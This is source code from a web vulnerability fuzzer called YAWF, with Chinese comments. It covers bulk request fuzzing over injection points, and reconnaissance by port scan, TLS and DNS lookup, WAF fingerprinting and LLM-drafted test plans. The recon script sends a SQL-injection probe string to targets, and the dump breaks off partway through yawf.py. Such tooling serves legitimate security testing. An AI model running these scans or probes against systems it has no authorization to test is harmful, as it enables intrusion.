/yawf_bulk.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | import re 6 | import time 7 | import json 8 | import copy 9 | import base64 10 | import optparse 11 | from urllib.parse import urlparse, parse_qsl, unquote 12 | from xml.etree import ElementTree as ET 13 | 14 | from core.fuzzer import Fuzzer 15 | from utils.utils import ( 16 | check_file, 17 | send_request, 18 | parse_conf, 19 | read_file, 20 | get_content_type, 21 | get_default_headers, 22 | is_base64, 23 | Browser, 24 | OOBDetector 25 | ) 26 | from utils.constants import REQ_TIMEOUT, MARK_POINT, UA, PROBE, PLATFORM, EFFICIENCY_CONF 27 | 28 | if __name__ == '__main__': 29 | 30 | # 记录启动时间 31 | start_time = int(time.time()) 32 | 33 | parser = optparse.OptionParser() 34 | parser.add_option("-f", dest="requests_file", help="Full requests dump, generated by browser crawler") 35 | parser.add_option("--output-dir", dest="output_dir", help="Custom output directory path") 36 | parser.add_option("--oob-provider", dest="oob_provider", default="ceye", help="Out-of-Band service provider, default: ceye (e.g. dnslog)") 37 | options, _ = parser.parse_args() 38 | 39 | # 必需 -f 选项 40 | if not options.requests_file or not check_file(options.requests_file): 41 | parser.error('option -f must be set and readable') 42 | 43 | # 校验 oob 服务 44 | oob_provider = options.oob_provider.lower() 45 | if oob_provider not in ['dnslog', 'ceye']: 46 | sys.exit('[*] Only support dnslog and ceye provider') 47 | 48 | # 自动标记忽略的参数集合 49 | ignore_params = EFFICIENCY_CONF.get('ignore_params') 50 | 51 | # 脚本相对目录 52 | script_rel_dir = os.path.dirname(sys.argv[0]) 53 | 54 | # 解析配置文件 55 | conf_dict = parse_conf(os.path.join(script_rel_dir, 'yawf.conf')) 56 | if not conf_dict: 57 | sys.exit('[*] parse config file error') 58 | 59 | # 网络代理 60 | proxies = { 61 | 'http': conf_dict['request_proxy'], 62 | 'https': conf_dict['request_proxy'] 63 | } if conf_dict['request_proxy'] else {} 64 | 65 | # 请求超时时间(秒) 66 | timeout = float(conf_dict['request_timeout']) if conf_dict['request_timeout'] else REQ_TIMEOUT 67 | 68 | user_agent = conf_dict['request_user_agent'] if conf_dict['request_user_agent'] else UA 69 | 70 | # 获取探针 71 | probes = [] 72 | if conf_dict['probe_customize']: 73 | if 'all' in conf_dict['probe_customize']: 74 | # 全部探针 75 | files = next(os.walk(os.path.join(script_rel_dir, 'core', 'probes')), (None, None, []))[2] 76 | probes = [os.path.splitext(f)[0] for f in files if not f.startswith('__init__')] 77 | else: 78 | probes = [probe.strip() for probe in conf_dict['probe_customize'].split(',')] 79 | elif conf_dict['probe_default']: 80 | probes = [probe.strip() for probe in conf_dict['probe_default'].split(',')] 81 | else: 82 | probes.append(PROBE) 83 | 84 | # 获取探针 payload 85 | probes_payload = {} 86 | payload_path = os.path.join(script_rel_dir, 'data', 'payload') 87 | for probe in probes: 88 | payload_file = os.path.join(payload_path, f'{probe}.txt') 89 | if check_file(payload_file): 90 | probes_payload[probe] = read_file(payload_file) 91 | 92 | # 初始化 OOB 检测器实例 93 | if oob_provider == 'ceye' and not (conf_dict['ceye_id'] and conf_dict['ceye_token']): 94 | print("[*] When using the ceye out-of-band service, you must configure the id and token. Now use dnslog as a backup.") 95 | oob_provider = 'dnslog' 96 | oob_detector = OOBDetector(oob_provider, proxies, timeout, conf_dict['ceye_id'], conf_dict['ceye_token']) 97 | 98 | # 设置 Chrome 参数 99 | browser = Browser(proxies, user_agent) if 'xss' in probes else None 100 | 101 | # 创建存储漏洞文件目录 102 | outputdir = options.output_dir if options.output_dir else os.path.join(script_rel_dir, 'output') 103 | os.makedirs(outputdir, exist_ok=True) 104 | 105 | # 将测试目标平台存储在环境变量 106 | os.environ['platform'] = conf_dict['misc_platform'].lower() if conf_dict['misc_platform'] else PLATFORM 107 | 108 | # 获取 requests 默认请求头 109 | default_headers = get_default_headers() 110 | 111 | # 初始请求对象 112 | init_request = { 113 | 'url': '', 114 | 'method': '', 115 | 'params': {}, 116 | 'proxies': proxies, 117 | 'cookies': {}, 118 | 'headers': default_headers, 119 | 'data': {}, 120 | 'auth': {}, 121 | 'timeout': timeout 122 | } 123 | 124 | # 遍历检测 request 125 | # 计数 126 | req_total = 0 127 | with open(options.requests_file, 'r', encoding='utf-8') as f: 128 | orig_requests = json.load(f) 129 | for orig_request in orig_requests: 130 | req_total += 1 131 | method = orig_request.get('method') 132 | url = orig_request.get('url') 133 | print(f'[+] Start scanning url: {method} {url}') 134 | 135 | request = copy.deepcopy(init_request) 136 | 137 | # 方法 138 | request['method'] = method 139 | 140 | # URL 141 | parsed_url = urlparse(unquote(url)) 142 | request['url'] = parsed_url._replace(fragment="")._replace(query="").geturl() 143 | 144 | # 查询字符串 145 | qs = parse_qsl(parsed_url.query) 146 | for par, val in qs: 147 | request['params'][par]=val 148 | 149 | # 请求头 150 | if orig_request.get('headers'): 151 | for name, value in orig_request.get('headers').items(): 152 | if name not in ['Cookie', 'User-Agent']: 153 | request['headers'][name.lower()] = value 154 | 155 | # Cookie 156 | if orig_request.get('headers').get('Cookie'): 157 | for item in orig_request.get('headers').get('Cookie').split(';'): 158 | name, value = item.split('=', 1) 159 | request['cookies'][name.strip()] = unquote(value) 160 | 161 | # Data 162 | content_type = '' 163 | if request['method'] == 'POST' and orig_request.get('data'): 164 | data = base64.b64decode(orig_request.get('data')).decode('utf-8') 165 | full_content_type = request['headers']['content-type'] 166 | 167 | if 'json' in full_content_type: 168 | # json data 169 | content_type = 'json' 170 | request['data'] = json.loads(data) 171 | elif 'xml' in full_content_type: 172 | # xml data 173 | content_type = 'xml' 174 | request['data'] = data 175 | elif 'form' in full_content_type: 176 | # form data 177 | content_type = 'form' 178 | for item in data.split('&'): 179 | name, value = item.split('=', 1) 180 | request['data'][name.strip()] = unquote(value) 181 | else: 182 | print('[*] post data is invalid, support form/json/xml data type') 183 | continue 184 | 185 | # 指定 User-Agent 186 | request['headers']['user-agent'] = user_agent 187 | 188 | # 基准请求 189 | base_http = send_request(request, True) 190 | if base_http.get('status') not in [200, 301, 302, 307, 308]: 191 | print(f"[*] base request failed, status code is: {base_http.get('status')}") 192 | continue 193 | 194 | # 构造全部 request 对象(每个标记点对应一个对象) 195 | requests = [] 196 | mark_request = copy.deepcopy(request) 197 | 198 | """ 199 | 以下情况不处理: 200 | 1. 值为 Base64 字符串 201 | 2. 名称被忽略 202 | """ 203 | 204 | # 处理查询字符串 205 | for par, val in request['params'].items(): 206 | if is_base64(val) or (par in ignore_params): 207 | continue 208 | if get_content_type(val) == 'json': 209 | # xxx.php?foo={"a":"b","c":"d"}&bar={"aa":"bb"} 210 | val_dict = json.loads(val) 211 | base_val_dict = copy.deepcopy(val_dict) 212 | for k, v in val_dict.items(): 213 | if type(v) is not str or is_base64(v) or (k in ignore_params): 214 | continue 215 | 216 | base_val_dict[k] = v + MARK_POINT 217 | mark_request['params'][par] = json.dumps(base_val_dict) 218 | requests.append(copy.deepcopy(mark_request)) 219 | base_val_dict[k] = v 220 | else: 221 | mark_request['params'][par] = val + MARK_POINT 222 | requests.append(copy.deepcopy(mark_request)) 223 | mark_request['params'][par] = request['params'][par] 224 | 225 | # 处理 Cookie 226 | for name, value in request['cookies'].items(): 227 | if is_base64(value) or (name in ignore_params): 228 | continue 229 | mark_request['cookies'][name] = value + MARK_POINT 230 | requests.append(copy.deepcopy(mark_request)) 231 | mark_request['cookies'][name] = value 232 | 233 | # 处理 POST Body 234 | if content_type == 'xml': 235 | # xml data 236 | xmlTree = ET.ElementTree(ET.fromstring(request['data'])) 237 | 238 | tagList = [elem.tag \ 239 | if re.search(fr'<{elem.tag}>[^<>]*', request['data']) \ 240 | else None \ 241 | for elem in xmlTree.iter()] 242 | # 移除重复元素 tag 和 None 值 243 | tagList = list(set(filter(None, tagList))) 244 | tagList.sort() 245 | 246 | for elem_tag in tagList: 247 | mark_request['data'] = re.sub(fr'<{elem_tag}>[^<>]*', f'<{elem_tag}>{MARK_POINT}', request['data']) 248 | requests.append(copy.deepcopy(mark_request)) 249 | mark_request['data'] = request['data'] 250 | else: 251 | for field, value in request['data'].items(): 252 | if type(value) is not str or is_base64(value) or (field in ignore_params): 253 | continue 254 | mark_request['data'][field] = value + MARK_POINT 255 | requests.append(copy.deepcopy(mark_request)) 256 | mark_request['data'][field] = value 257 | 258 | # 处理请求头 259 | for name, value in request['headers'].items(): 260 | # 目前只处理 Referer 和 User-Agent 261 | if name not in {'referer', 'user-agent'}: 262 | continue 263 | mark_request['headers'][name] = value + MARK_POINT 264 | requests.append(copy.deepcopy(mark_request)) 265 | mark_request['headers'][name] = value 266 | 267 | # request 对象列表 268 | if not requests: 269 | print("[+] Not valid request object to fuzzing, Exit.") 270 | continue 271 | 272 | # 开始检测 273 | fuzz_results = [] 274 | fuzz_results.extend(Fuzzer(requests, base_http, probes, probes_payload, oob_detector, browser).run()) 275 | 276 | # 记录漏洞 277 | if fuzz_results: 278 | outputfile = os.path.join(outputdir, f'vuls_{time.strftime("%Y%m%d%H%M%S")}.txt') 279 | with open(outputfile, 'w') as f: 280 | for result in fuzz_results: 281 | f.write(json.dumps(result)+'\n') 282 | print(f'[+] Fuzz results saved in: {outputfile}') 283 | 284 | print('\n -------------------------------------------- \n') 285 | 286 | time.sleep(1) 287 | 288 | print(f"\n\n[+] Fuzz finished, {req_total} urls scanned in {int(time.time()) - start_time} seconds.") 289 | -------------------------------------------------------------------------------- /getinfo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import re 4 | import os 5 | import ssl 6 | import time 7 | import sys 8 | import signal 9 | import socket 10 | import optparse 11 | from urllib.parse import urlparse, unquote 12 | 13 | import requests 14 | import nmap 15 | import dns.resolver 16 | from tabulate import tabulate 17 | from openai import OpenAI, OpenAIError 18 | from concurrent.futures import ThreadPoolExecutor 19 | from cryptography import x509 20 | from cryptography.hazmat.backends import default_backend 21 | from bs4 import BeautifulSoup 22 | 23 | from utils.constants import REQ_SCHEME 24 | from utils.utils import Spinner, parse_conf 25 | 26 | # 忽略 SSL 告警信息 27 | try: 28 | from requests.packages import urllib3 29 | urllib3.disable_warnings() 30 | except Exception: 31 | pass 32 | 33 | if os.name == 'posix': 34 | HEADER = '\033[95m' 35 | OKBLUE = '\033[94m' 36 | OKCYAN = '\033[96m' 37 | OKGREEN = '\033[92m' 38 | WARNING = '\033[93m' 39 | FAIL = '\033[91m' 40 | ENDC = '\033[0m' 41 | BOLD = '\033[1m' 42 | UNDERLINE = '\033[4m' 43 | else: 44 | HEADER, OKBLUE, OKCYAN, OKGREEN, WARNING, FAIL, ENDC, BOLD, UNDERLINE = ('',)*9 45 | 46 | def detect_waf(req_rsp): 47 | """ 48 | 检测目标对象前是否部署 WAF,以及是哪种 WAF 49 | 检测原理:在 url 中传递 xss 和 sqli payload,检测 response 对象是否包含 Waf 特征。 50 | 参考:https://github.com/Ekultek/WhatWaf 51 | """ 52 | response = req_rsp.get('response') 53 | headers = req_rsp.get('headers') 54 | status = req_rsp.get('status') 55 | 56 | # 阿里云盾 57 | if status == 405: 58 | # 阻断 59 | detection_schemas = ( 60 | re.compile(r"error(s)?.aliyun(dun)?.(com|net)", re.I), 61 | re.compile(r"http(s)?://(www.)?aliyun.(com|net)", re.I) 62 | ) 63 | for detection in detection_schemas: 64 | if detection.search(response): 65 | return 'AliYunDun' 66 | 67 | elif status == 200: 68 | # 非阻断,如滑块验证 69 | detection = re.compile(r"TraceID: [0-9a-z]{30}", re.I) 70 | if detection.search(response): 71 | return 'AliYunDun' 72 | 73 | # 腾讯云 waf 74 | elif status == 202 or status == 403: 75 | detection = re.compile(r"[0-9a-z]{32}-[0-9a-z]{32}", re.I) 76 | if 'waf' in headers.get('Set-Cookie', '') or detection.search(response): 77 | return 'T-Sec-Waf' 78 | 79 | # CloudFlare 80 | detection_schemas = ( 81 | re.compile(r"cloudflare.ray.id.|var.cloudflare.", re.I), 82 | re.compile(r"cloudflare.nginx", re.I), 83 | re.compile(r"..cfduid=([a-z0-9]{43})?", re.I), 84 | re.compile(r"cf[-|_]ray(..)?([0-9a-f]{16})?[-|_]?(dfw|iad)?", re.I), 85 | re.compile(r".>attention.required!.\|.cloudflare<.+", re.I), 86 | re.compile(r"http(s)?.//report.(uri.)?cloudflare.com(/cdn.cgi(.beacon/expect.ct)?)?", re.I), 87 | re.compile(r"ray.id", re.I) 88 | ) 89 | server = headers.get('server', '') 90 | cookie = headers.get('cookie', '') 91 | set_cookie = headers.get('set-cookie', '') 92 | cf_ray = headers.get('cf-ray', '') 93 | expect_ct = headers.get('expect-ct', '') 94 | if cf_ray or "__cfduid" in set_cookie or "cloudflare" in expect_ct: 95 | return 'CloudFlare' 96 | for detection in detection_schemas: 97 | if detection.search(response) \ 98 | or detection.search(server) \ 99 | or detection.search(cookie) \ 100 | or detection.search(set_cookie) \ 101 | or detection.search(expect_ct): 102 | return 'CloudFlare' 103 | 104 | return 'unknown' 105 | 106 | def resolve_dns(domain, rtype): 107 | try: 108 | answers = my_resolver.resolve(domain, rtype) 109 | return [(rtype, rdata.to_text()) for rdata in answers] 110 | except dns.exception.DNSException: 111 | return [] 112 | 113 | def signal_handler(sig, frame): 114 | print(f'{WARNING}终止程序 Byebye{ENDC}') 115 | sys.exit(0) 116 | 117 | signal.signal(signal.SIGINT, signal_handler) 118 | 119 | 120 | if __name__ == '__main__': 121 | 122 | # 记录启动时间 123 | start_time = time.time() 124 | 125 | parser = optparse.OptionParser(description='+ Get infomation of target +') 126 | parser.add_option("-u", "--url", dest="url", help='Target URL(e.g. "http://www.target.com")') 127 | parser.add_option("-t", "--timeout", dest="timeout", type="float", default=60.0, help="Port scan timeout (s)") 128 | parser.add_option("--req-timeout", dest="req_timeout", type="float", default=3.0, help="HTTP request timeout (s)") 129 | options, _ = parser.parse_args() 130 | 131 | if not options.url: 132 | parser.error('url not given') 133 | 134 | # URL 解析 135 | o = urlparse(unquote(options.url)) 136 | scheme = o.scheme.lower() if o.scheme else REQ_SCHEME 137 | domain = o.hostname 138 | port = o.port if o.port else (443 if scheme == 'https' else 80) 139 | 140 | """ 141 | 信息收集 142 | 143 | 1、基本信息 144 | 2、SSL 证书 145 | 3、DNS 记录 146 | 4、端口信息 147 | 5、杂项 148 | """ 149 | 150 | # 基本信息 151 | # 服务状态、Web Server 和框架/脚本语言等 152 | print(f'\n{"-"*10} 基本信息 {"-"*10}\n') 153 | is_server_up = True 154 | web_server, framework, waf = ('unknown',)*3 155 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 156 | result = sock.connect_ex((domain, port)) 157 | if result: 158 | is_server_up = False 159 | sock.close() 160 | 161 | if is_server_up: 162 | # 判断是否部署了 Waf 163 | payload = "xss=&sqli=' and 'a'='a" 164 | url = f"{options.url}&{payload}" if '?' in options.url else f"{options.url}?{payload}" 165 | r = requests.get(url, timeout=options.req_timeout, verify=False) 166 | waf = detect_waf({'status': r.status_code, 'headers': r.headers, 'response': r.text}) 167 | 168 | # Web Server 和框架/脚本语言 169 | r = requests.get(options.url, timeout=options.req_timeout, verify=False) 170 | web_server = r.headers.get('Server', 'unknown') 171 | framework = r.headers.get('X-Powered-By', 'unknown') 172 | 173 | # 获取页面标题、关键词和描述 174 | # 解决中文乱码问题 175 | r.encoding = r.apparent_encoding 176 | html = BeautifulSoup(r.text, 'html.parser') 177 | title = html.title.string if html.title else '' 178 | keywords = html.find('meta', attrs={'name': 'keywords'}) 179 | keywords = keywords['content'] if keywords else '' 180 | description = html.find('meta', attrs={'name': 'description'}) 181 | description = description['content'] if description else '' 182 | 183 | basic_info = f""" 184 | 服务状态:{OKGREEN + "running" if is_server_up else FAIL + "down"}{ENDC} 185 | WAF:{OKGREEN + waf + ENDC} 186 | Web 服务软件:{OKGREEN + web_server + ENDC} 187 | 框架/脚本语言:{OKGREEN + framework + ENDC} 188 | 标题:{OKGREEN + title + ENDC} 189 | 关键词:{OKGREEN + keywords + ENDC} 190 | 描述:{OKGREEN + description + ENDC} 191 | """ 192 | print(basic_info) 193 | 194 | # SSL 证书信息 195 | print(f'\n{"-"*10} SSL 证书信息 {"-"*10}\n') 196 | tls_versions_info = '' 197 | if scheme == 'https': 198 | # SSL/TLS 版本 199 | tls_versions = [] 200 | try: 201 | nm = nmap.PortScanner() 202 | nm.scan(domain, arguments=f'--script ssl-enum-ciphers -p {port}', timeout=options.timeout) 203 | for host in nm.all_hosts(): 204 | if 'tcp' in nm[host] and port in nm[host]['tcp']: 205 | if 'script' in nm[host]['tcp'][port]: 206 | script_output = nm[host]['tcp'][port]['script'] 207 | if 'ssl-enum-ciphers' in script_output: 208 | lines = script_output['ssl-enum-ciphers'].split('\n') 209 | tls_versions = [line.replace(' ', '').replace(':', '') for line in lines if 'TLSv' in line or 'SSLv' in line] 210 | except Exception as e: 211 | tls_versions.append(str(e).strip("'")) 212 | tls_versions_info = f'SSL/TLS 版本:{", ".join(tls_versions)}' 213 | print(tls_versions_info) 214 | 215 | # 证书信息 216 | try: 217 | ctx = ssl.create_default_context() 218 | # 禁用主机名检查和证书验证,以便支持自签名证书 219 | ctx.check_hostname = False 220 | ctx.verify_mode = ssl.CERT_NONE 221 | 222 | with ctx.wrap_socket(socket.socket(), server_hostname=domain) as s: 223 | s.connect((domain, port)) 224 | # 获取二进制格式的证书 225 | der_cert = s.getpeercert(True) 226 | # 使用 cryptography 加载证书 227 | cert = x509.load_der_x509_certificate(der_cert, default_backend()) 228 | sign_algorithm = cert.signature_algorithm_oid._name 229 | 230 | # 辅助函数:获取证书属性值 231 | def get_val(name, oid): 232 | attrs = name.get_attributes_for_oid(oid) 233 | return attrs[0].value if attrs else None 234 | 235 | # 获取 Subject Alternative Name (SAN) 236 | try: 237 | san = cert.extensions.get_extension_for_class(x509.SubjectAlternativeName) 238 | subject_altname = ', '.join(san.value.get_values_for_type(x509.DNSName)) 239 | except x509.ExtensionNotFound: 240 | subject_altname = '' 241 | 242 | ssl_info = f""" 243 | 颁发对象: 244 | 通用名称:{get_val(cert.subject, x509.NameOID.COMMON_NAME)} 245 | 国家/地区:{get_val(cert.subject, x509.NameOID.COUNTRY_NAME) or '未知'} 246 | 组织:{get_val(cert.subject, x509.NameOID.ORGANIZATION_NAME) or '未知'} 247 | 颁发者: 248 | 通用名称:{get_val(cert.issuer, x509.NameOID.COMMON_NAME)} 249 | 国家/地区:{get_val(cert.issuer, x509.NameOID.COUNTRY_NAME)} 250 | 组织:{get_val(cert.issuer, x509.NameOID.ORGANIZATION_NAME)} 251 | 有效期: 252 | 颁发日期:{cert.not_valid_before_utc.strftime('%b %d %H:%M:%S %Y GMT')} 253 | 截止日期:{cert.not_valid_after_utc.strftime('%b %d %H:%M:%S %Y GMT')} 254 | 颁发对象替代名称: 255 | DNS:{subject_altname} 256 | 证书签名算法: 257 | {sign_algorithm}""" 258 | except ssl.SSLError as e: 259 | ssl_info = f'{WARNING}SSL 连接错误: {str(e)}{ENDC}' 260 | except socket.error as e: 261 | ssl_info = f'{WARNING}套接字连接错误: {str(e)}{ENDC}' 262 | except Exception as e: 263 | ssl_info = f'{WARNING}获取 SSL 证书时发生错误: {str(e)}{ENDC}' 264 | else: 265 | ssl_info = f'{WARNING}目标站点为 HTTP 协议,跳过证书检测{ENDC}' 266 | print(ssl_info) 267 | 268 | # DNS 记录 269 | print(f'\n{"-"*10} DNS 记录信息 {"-"*10}\n') 270 | dns_records = [] 271 | my_resolver = dns.resolver.Resolver() 272 | my_resolver.nameservers = ['114.114.114.114', '8.8.8.8'] 273 | with ThreadPoolExecutor(max_workers=5) as executor: 274 | futures = [executor.submit(resolve_dns, domain, rtype) for rtype in ['A', 'AAAA', 'CNAME', 'MX', 'TXT', 'NS', 'SOA', 'SRV', 'PTR']] 275 | for future in futures: 276 | dns_records.extend(future.result()) 277 | 278 | dns_records_info = tabulate(dns_records, headers=['类型', '记录值'], tablefmt='simple_grid') 279 | print(dns_records_info) 280 | 281 | # 端口信息 282 | print(f'\n{"-"*10} 端口信息 {"-"*10}\n') 283 | ports_info = '' 284 | spinner = Spinner('正在扫描,请稍候...') 285 | spinner.start() 286 | try: 287 | nm = nmap.PortScanner() 288 | nm.scan(domain, timeout=options.timeout) 289 | ports = [] 290 | for host in nm.all_hosts(): 291 | for proto in nm[host].all_protocols(): 292 | if proto not in ["tcp", "udp"]: 293 | continue 294 | 295 | lport = list(nm[host][proto].keys()) 296 | lport.sort() 297 | for pt in lport: 298 | ports.append([host, f'{pt}/{proto}', nm[host][proto][pt]["state"], nm[host][proto][pt]["name"], f'{nm[host][proto][pt]["product"]} {nm[host][proto][pt]["version"]}']) 299 | ports_info = tabulate(ports, headers=['主机', '端口', '状态', '服务', '版本'], tablefmt='simple_grid') 300 | except nmap.nmap.PortScannerTimeout: 301 | ports_info = f'{WARNING}端口扫描{options.timeout}秒超时,请适当延长超时时间{ENDC}' 302 | spinner.stop() 303 | print(ports_info) 304 | 305 | # 杂项 306 | print(f'\n{"-"*10} robots.txt {"-"*10}\n') 307 | robots_info = '' 308 | try: 309 | robots_response = requests.get(f"{scheme}://{domain}/robots.txt", timeout=options.req_timeout, verify=False) 310 | if robots_response.status_code == 200: 311 | robots_info = robots_response.text 312 | else: 313 | robots_info = "robots.txt 文件不存在" 314 | except requests.exceptions.RequestException as e: 315 | robots_info = f"获取 robots.txt 失败:{str(e)}" 316 | print(robots_info) 317 | 318 | print(f"\n[+] 信息收集完成,总耗时:{time.time() - start_time:.2f}秒") 319 | 320 | # 大模型智能分析 321 | # 脚本相对目录 322 | script_rel_dir = os.path.dirname(sys.argv[0]) 323 | 324 | # 解析配置文件 325 | conf_dict = parse_conf(os.path.join(script_rel_dir, 'yawf.conf')) 326 | if not conf_dict: 327 | sys.exit('[*] parse config file error') 328 | 329 | if conf_dict['llm_status'] == 'enable': 330 | try: 331 | client = OpenAI(api_key = conf_dict['llm_api_key'], base_url = conf_dict['llm_base_url']) 332 | info = f'<基本信息>{basic_info}{tls_versions_info}{ssl_info}{dns_records_info}<端口信息>{ports_info}<杂项>{robots_info}' 333 | 334 | response = client.chat.completions.create( 335 | model = conf_dict['llm_model'], 336 | messages = [ 337 | {"role": "system", "content": "你是一位安全测试专家,你将收到和测试对象相关的XML结构化信息。请先分析这些信息,运用透过现象(此处的现象就是收集到的信息)看本质的思维和方法,然后制定下一步的安全测试计划。"}, 338 | {"role": "user", "content": info}, 339 | ], 340 | stream = True 341 | ) 342 | print(f"[+] 使用大模型进行智能分析:\n\n") 343 | for chunk in response: 344 | print(chunk.choices[0].delta.content or "", end="", flush=True) 345 | except OpenAIError as e: 346 | print(f"[+] 智能分析失败,原因如下:\n\n{e}") 347 | else: 348 | print("[+] 未开启大模型,无法进行智能分析") 349 | -------------------------------------------------------------------------------- /yawf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | import re 6 | import time 7 | import json 8 | import copy 9 | import optparse 10 | import email 11 | from io import StringIO 12 | from urllib.parse import urlparse, parse_qsl, unquote 13 | from xml.etree import ElementTree as ET 14 | 15 | from core.fuzzer import Fuzzer 16 | from utils.utils import ( 17 | check_file, 18 | send_request, 19 | parse_conf, 20 | read_file, 21 | get_content_type, 22 | get_default_headers, 23 | is_base64, 24 | Browser, 25 | OOBDetector 26 | ) 27 | from utils.constants import VERSION, REQ_TIMEOUT, REQ_SCHEME, MARK_POINT, UA, PROBE, PLATFORM, EFFICIENCY_CONF 28 | 29 | banner = fr""" 30 | _____.___. _____ __ _____________ 31 | \__ | | / _ \/ \ / \_ _____/ 32 | / | |/ /_\ \ \/\/ /| __) 33 | \____ / | \ / | \ 34 | / ______\____|__ /\__/\ / \___ / 35 | \/ \/ \/ \/ 36 | 37 | ({VERSION}) 38 | Automated Web Vulnerability Fuzzer 39 | Created by yns0ng (@phplaber) 40 | """ 41 | 42 | if __name__ == '__main__': 43 | 44 | # 记录启动时间 45 | start_time = int(time.time()) 46 | 47 | # 标准输出指向终端(非重定向和管道) 48 | if sys.stdout.isatty(): 49 | print(banner) 50 | 51 | parser = optparse.OptionParser() 52 | parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.php?id=1\")") 53 | parser.add_option("-m", dest="method", default="GET", help="HTTP method, default: GET (e.g. POST)") 54 | parser.add_option("-d", dest="data", help="Data string to be sent through POST (e.g. \"id=1\")") 55 | parser.add_option("-c", dest="cookies", help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")") 56 | parser.add_option("--headers", dest="headers", help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") 57 | parser.add_option("--auth-type", dest="auth_type", help="HTTP authentication type (Basic, Digest, NTLM)") 58 | parser.add_option("--auth-cred", dest="auth_cred", help="HTTP authentication credentials (user:pass)") 59 | parser.add_option("-f", dest="requestfile", help="Load HTTP request from a file") 60 | parser.add_option("--output-dir", dest="output_dir", help="Custom output directory path") 61 | parser.add_option("--probe-list", action="store_true", dest="probe_list", help="List of available probes") 62 | parser.add_option("--oob-provider", dest="oob_provider", default="ceye", help="Out-of-Band service provider, default: ceye (e.g. dnslog)") 63 | options, _ = parser.parse_args() 64 | 65 | # 脚本相对目录 66 | script_rel_dir = os.path.dirname(sys.argv[0]) 67 | 68 | # 全部探针 69 | files = next(os.walk(os.path.join(script_rel_dir, 'core', 'probes')), (None, None, []))[2] 70 | all_probes = [os.path.splitext(f)[0] for f in files if not f.startswith('__init__')] 71 | 72 | # 显示可用的探针列表 73 | if options.probe_list: 74 | print('List of available probes: \n' + '\n'.join(f' - {probe}' for probe in all_probes)) 75 | sys.exit() 76 | 77 | # -u 和 -f 选项二选一 78 | if not options.url and not options.requestfile: 79 | parser.error('option -u or -f must be set') 80 | 81 | # 校验带外(Out-of-Band)服务 82 | oob_provider = options.oob_provider.lower() 83 | if oob_provider not in ['dnslog', 'ceye']: 84 | sys.exit('[*] Only support dnslog and ceye provider') 85 | 86 | # 自动标记忽略的参数集合 87 | ignore_params = EFFICIENCY_CONF.get('ignore_params') 88 | 89 | # 解析配置文件 90 | conf_dict = parse_conf(os.path.join(script_rel_dir, 'yawf.conf')) 91 | if not conf_dict: 92 | sys.exit('[*] parse config file error') 93 | 94 | # 网络代理 95 | proxies = { 96 | 'http': conf_dict['request_proxy'], 97 | 'https': conf_dict['request_proxy'] 98 | } if conf_dict['request_proxy'] else {} 99 | 100 | # 请求超时时间(秒) 101 | timeout = float(conf_dict['request_timeout']) if conf_dict['request_timeout'] else REQ_TIMEOUT 102 | 103 | # 获取 requests 默认请求头 104 | default_headers = get_default_headers() 105 | 106 | # 基础请求对象 107 | request = { 108 | 'url': '', 109 | 'method': 'GET', 110 | 'params': {}, 111 | 'proxies': proxies, 112 | 'cookies': {}, 113 | 'headers': default_headers, 114 | 'data': {}, 115 | 'auth': {}, 116 | 'timeout': timeout 117 | } 118 | # 手动标记状态位 119 | is_mark = False 120 | content_type, data, cookies = ('',)*3 121 | if options.url: 122 | # URL 123 | parsed_url = urlparse(unquote(options.url)) 124 | scheme = parsed_url.scheme.lower() 125 | if not scheme: 126 | sys.exit('[*] The full target URL is required') 127 | request['url'] = parsed_url._replace(fragment="")._replace(query="").geturl() 128 | request['method'] = options.method.upper() 129 | 130 | if options.data: 131 | request['method'] = 'POST' 132 | data = options.data 133 | 134 | if options.cookies: 135 | cookies = options.cookies 136 | 137 | if options.headers: 138 | for item in options.headers.split("\\n"): 139 | name, value = item.split(":", 1) 140 | request['headers'][name.strip().lower()] = value.strip() 141 | else: 142 | # HTTP 请求文件 143 | if not check_file(options.requestfile): 144 | sys.exit('[*] the specified HTTP request file does not exist or unable to read') 145 | 146 | with open(options.requestfile, 'r', encoding='utf-8') as f: 147 | contents = f.read() 148 | misc, str_headers = contents.split('\n', 1) 149 | method, uri, _ = misc.split(' ', 2) 150 | message = email.message_from_file(StringIO(str_headers)) 151 | for k, v in dict(message.items()).items(): 152 | request['headers'][k.lower()] = v 153 | 154 | scheme = conf_dict['request_scheme'].lower() if conf_dict['request_scheme'] else REQ_SCHEME 155 | 156 | parsed_url = urlparse(unquote(uri)) 157 | request['url'] = f"{scheme}://{request['headers']['host']}{parsed_url._replace(fragment='')._replace(query='').geturl()}" 158 | request['method'] = method.upper() 159 | if request['method'] == 'POST': 160 | data = contents.split('\n\n')[1] 161 | cookies = request['headers'].get('cookie', '') 162 | 163 | # 删除请求头中的 Host、Cookie 和 Authorization 字段 164 | for header in ['host', 'cookie', 'authorization']: 165 | request['headers'].pop(header, None) 166 | 167 | # 只支持检测 HTTP 服务 168 | if scheme not in ['http', 'https']: 169 | sys.exit('[*] Only support http(s) scheme') 170 | 171 | # 只支持 GET 和 POST 方法 172 | if request['method'] not in ['GET', 'POST']: 173 | sys.exit('[*] Only support GET and POST method') 174 | 175 | # POST 数据不能为空 176 | if request['method'] == 'POST' and not data: 177 | sys.exit('[*] HTTP post data is empty') 178 | 179 | # 查询字符串 180 | qs = parse_qsl(parsed_url.query) 181 | for par, val in qs: 182 | request['params'][par]=val 183 | 184 | # post data 185 | if data: 186 | content_type = get_content_type(data) 187 | 188 | if content_type == 'json': 189 | # json data 190 | request['data'] = json.loads(data) 191 | elif content_type == 'xml': 192 | # xml data 193 | request['data'] = data 194 | elif content_type == 'form': 195 | # form data 196 | for item in data.split('&'): 197 | name, value = item.split('=', 1) 198 | request['data'][name.strip()] = unquote(value) 199 | else: 200 | sys.exit('[*] post data is invalid, support form/json/xml data type') 201 | 202 | # cookies 203 | if cookies: 204 | for item in cookies.split(";"): 205 | name, value = item.split("=", 1) 206 | request['cookies'][name.strip()] = unquote(value) 207 | 208 | # HTTP 认证 209 | if options.auth_type and options.auth_cred: 210 | if options.auth_type in ['Basic', 'Digest', 'NTLM'] and ':' in 